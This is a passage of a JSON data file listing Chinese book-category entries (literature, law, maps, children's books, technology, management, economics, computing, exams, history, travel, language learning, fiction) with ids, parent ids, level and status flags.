ull,"is_get_child":false},{"id":30796,"name":"文学家","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30795,"name":"医学家","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30803,"name":"娱乐圈/影星/歌星","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30906,"name":"地图其它","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30904,"name":"国家/地区概况","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30905,"name":"交通地图","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30907,"name":"旅游地图册/集","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30908,"name":"世界行政区划图","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30910,"name":"世界行政区划图册/集","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30909,"name":"中国行政区划图","parent_cid":27578,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31123,"name":"绘画/漫画/连环画/卡通故事","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31128,"name":"科普百科","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31121,"name":"启蒙/认知","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31125,"name":"亲子读物","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31126,"name":"少儿艺术","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31127,"name":"益智游戏","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31124,"name":"幼儿/少儿英语","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31134,"name":"中国儿童文学","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31129,"name":"自由组套","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31135,"name":"其它儿童读物","parent_cid":27676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30841,"name":"法律法规","parent_cid":27572,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30840,"name":"法律其它","parent_cid":27572,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30887,"name":"法律知识读物","parent_cid":27572,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30766,"name":"民法","parent_cid":27572,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30839,"name":"司法制度","parent_cid":27572,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30800,"name":"诉讼法","parent_cid":27572,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31051,"name":"百科全书","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31046,"name":"标准","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31049,"name":"汉语/辞典","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31048,"name":"年鉴/年刊","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31047,"name":"色卡","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31054,"name":"图书目录文摘索引","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31053,"name":"专科年鉴、年刊","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31050,"name":"专业辞典","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31052,"name":"其它工具书","parent_cid":27649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30941,"name":"畜牧/养殖","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30955,"name":"电力电工","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30954,"name":"电信通信","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30940,"name":"电子/通信","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30956,"name":"电子电路","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30964,"name":"工业技术其它","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30958,"name":"航空航天","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30953,"name":"环境科学","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30950,"name":"化学工业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30939,"name":"建筑/水利","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30938,"name":"交通/运输","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30951,"name":"家用电器","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30952,"name":"机械工程","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30957,"name":"矿业技术","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30933,"name":"林业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30965,"name":"能源与动力工程","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30931,"name":"农业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30963,"name":"农业基础科学","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30934,"name":"汽车","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30943,"name":"轻工业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30936,"name":"石油 天然气工业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30949,"name":"冶金工业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30932,"name":"园艺","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30959,"name":"原子能技术","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30935,"name":"渔业","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30960,"name":"自动化技术","parent_cid":27590,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30854,"name":"财务管理","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30900,"name":"创业企业和企业家","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30852,"name":"电子商务","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30850,"name":"广告营销","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30853,"name":"管理其它","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30879,"name":"管理学理论/MBA","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30769,"name":"会计","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30855,"name":"金融投资","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30801,"name":"领导学","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30846,"name":"企业管理","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30899,"name":"企业经营与管理","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30845,"name":"人力资源","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30849,"name":"商务谈判","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30848,"name":"商务写作","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30847,"name":"商业史传","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30856,"name":"项目管理","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30851,"name":"战略管理","parent_cid":27574,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31145,"name":"财富","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31150,"name":"读者文摘","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31163,"name":"儿童读物原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31157,"name":"法律类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31146,"name":"福布斯","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31154,"name":"工具书原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31159,"name":"管理类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31148,"name":"国家地理","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31151,"name":"健康类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31160,"name":"经济类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31161,"name":"考试类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31164,"name":"科普读物原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31168,"name":"科学技术类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31156,"name":"旅游类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31165,"name":"人文社科类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31143,"name":"人物","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31167,"name":"社会科学类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31158,"name":"生活类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31149,"name":"时代周刊","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31155,"name":"文学类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31153,"name":"小说类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31162,"name":"艺术类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31152,"name":"原版期刊杂志","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31147,"name":"原版其它","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31166,"name":"娱乐时尚类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31169,"name":"自然科学类原版书","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31144,"name":"其他","parent_cid":27731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30861,"name":"财政税收","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30877,"name":"各部门经济","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30860,"name":"经济理论","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30859,"name":"经济其它","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30802,"name":"经济史","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30770,"name":"金融","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30862,"name":"贸易经济","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30858,"name":"区域经济","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30901,"name":"世界及各国经济概况","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30857,"name":"中国经济","parent_cid":27575,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31038,"name":"安全与加密","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31040,"name":"办公自动化软件","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31033,"name":"操作系统","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31034,"name":"程序设计","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31032,"name":"计算机/网络其它","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31042,"name":"计算机安全与密码学","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31044,"name":"计算机辅助设计和工程","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31045,"name":"计算机控制仿真与人工智能","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31041,"name":"计算机软件工程","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31039,"name":"计算机手册","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31043,"name":"计算机硬件组装、维护","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31031,"name":"数据库","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31036,"name":"图形图像/多媒体","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31035,"name":"网络通信","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31037,"name":"网站设计/网页设计语言","parent_cid":27640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30925,"name":"初级会计职称考试","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30918,"name":"大学教材","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30926,"name":"管理类研究生报考/GMAT","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30923,"name":"剑桥商务英语/BEC","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30911,"name":"教材","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30912,"name":"考研","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30927,"name":"全国计算机应用技术NIT","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30919,"name":"日语考试","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30914,"name":"托福/TOEFL","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30917,"name":"外语考试","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30921,"name":"研究生报考/GRE","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30913,"name":"雅思/IELTS","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30920,"name":"英语四六级","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30915,"name":"中考/高考","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30916,"name":"中学教辅","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30922,"name":"其它外语考试","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30924,"name":"其它类职称考试","parent_cid":27582,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30872,"name":"当代史(1919-1949)","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30807,"name":"历史其它","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30880,"name":"历史知识读物","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30797,"name":"明清史","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30798,"name":"欧洲史","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30808,"name":"史学理论","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30809,"name":"战国秦汉","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30806,"name":"中国通史","parent_cid":27565,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30886,"name":"导游专业用书","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30892,"name":"国内旅游指南/攻略","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30893,"name":"国外旅游指南/攻略","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30898,"name":"旅游理论与实务","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30836,"name":"旅游其它","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30871,"name":"旅游摄影/画册","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30837,"name":"旅游随笔","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30876,"name":"旅游小百科","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30838,"name":"特色旅游","parent_cid":27571,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31061,"name":"教育","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31108,"name":"社会科学其它","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31109,"name":"社会科学总论","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31073,"name":"社会学","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31102,"name":"图书馆学 档案学","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31104,"name":"文化人类学","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31072,"name":"心理学","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31097,"name":"语言文字","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31096,"name":"中国社会","parent_cid":27669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30768,"name":"菜谱","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30844,"name":"茶类书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30843,"name":"炒股书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30767,"name":"婚恋","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30793,"name":"理财/基金书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30890,"name":"生活百科书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30842,"name":"养花书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30891,"name":"饮食文化书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30889,"name":"幽默笑话书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30888,"name":"其它生活书籍","parent_cid":27573,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30930,"name":"翻译","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30929,"name":"日语","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30945,"name":"实用英语","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30944,"name":"双语读物","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30937,"name":"听力/口语","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30961,"name":"外国语言文字","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30947,"name":"英语词汇","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30946,"name":"英语口语","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30962,"name":"英语学习方法","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30948,"name":"英语语法","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30942,"name":"娱乐/休闲英语","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30928,"name":"其它","parent_cid":27589,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30828,"name":"世界文化","parent_cid":27569,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30831,"name":"文化理论","parent_cid":27569,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30830,"name":"文化其它","parent_cid":27569,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30829,"name":"中国文化","parent_cid":27569,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30903,"name":"自由组套(仅限弱关联套装书)","parent_cid":27569,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30792,"name":"纪实/报告文学","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30835,"name":"民间文学","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30832,"name":"外国诗歌","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30833,"name":"外国随笔","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30765,"name":"文集","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30897,"name":"文学理论与批评","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30834,"name":"文学其它","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30791,"name":"现代/当代文学","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30885,"name":"中国古代随笔","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30875,"name":"中国古诗词","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30895,"name":"中国现当代诗歌","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30896,"name":"中国现当代随笔","parent_cid":27570,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30783,"name":"都市/情感小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30818,"name":"官场小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30816,"name":"古典小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is